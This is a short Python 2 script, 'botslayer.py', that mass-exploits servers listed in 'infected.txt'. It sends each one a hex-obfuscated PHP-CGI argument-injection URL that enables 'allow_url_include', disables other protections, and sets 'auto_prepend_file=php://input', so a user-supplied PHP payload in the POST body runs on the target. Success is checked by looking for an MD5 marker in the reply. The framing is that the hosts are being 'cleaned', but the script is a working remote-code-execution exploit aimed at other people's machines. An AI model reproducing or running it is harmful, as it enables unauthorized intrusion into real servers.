#!/usr/bin/python # botslayer.py import requests input = "infected.txt" output = "cleaned.txt" o = open(output, 'wa') f = open(input, 'r') lines = f.readlines() def main(): for line in lines: probe(line) f.close() o.close() def probe(ip): trigger = "/%70%68%70%70%61%74%68/%70%68%70?" # Ripped from another poc trigger += "%2D%64+%61%6C%6C%6F%77%5F%75%72%" trigger += "6C%5F%69%6E%63%6C%75%64%65%3D%6F" trigger += "%6E+%2D%64+%73%61%66%65%5F%6D%6F" trigger += "%64%65%3D%6F%66%66+%2D%64+%73%75" trigger += "%68%6F%73%69%6E%2E%73%69%6D%75%6" trigger += "C%61%74%69%6F%6E%3D%6F%6E+%2D%64" trigger += "+%64%69%73%61%62%6C%65%5F%66%75%" trigger += "6E%63%74%69%6F%6E%73%3D%22%22+%2" trigger += "D%64+%6F%70%65%6E%5F%62%61%73%65" trigger += "%64%69%72%3D%6E%6F%6E%65+%2D%64+" trigger += "%61%75%74%6F%5F%70%72%65%70%65%6" trigger += "E%64%5F%66%69%6C%65%3D%70%68%70%" trigger += "3A%2F%2F%69%6E%70%75%74+%2D%6E" print "Probing %s" %(ip) ip = ip.strip() url = "http://" + ip + trigger # You will edit the next line php = """""" try: haxor = requests.post(url, php) if "a88a6a0c276fd853999a1faedf19c00e" in haxor.text: # chek for md5 printing print "%s cleaned!" %(ip) o.write(ip + "\n") else: print "%s not cleaned!" %(ip) pass except Exception, e: print 'no' pass main()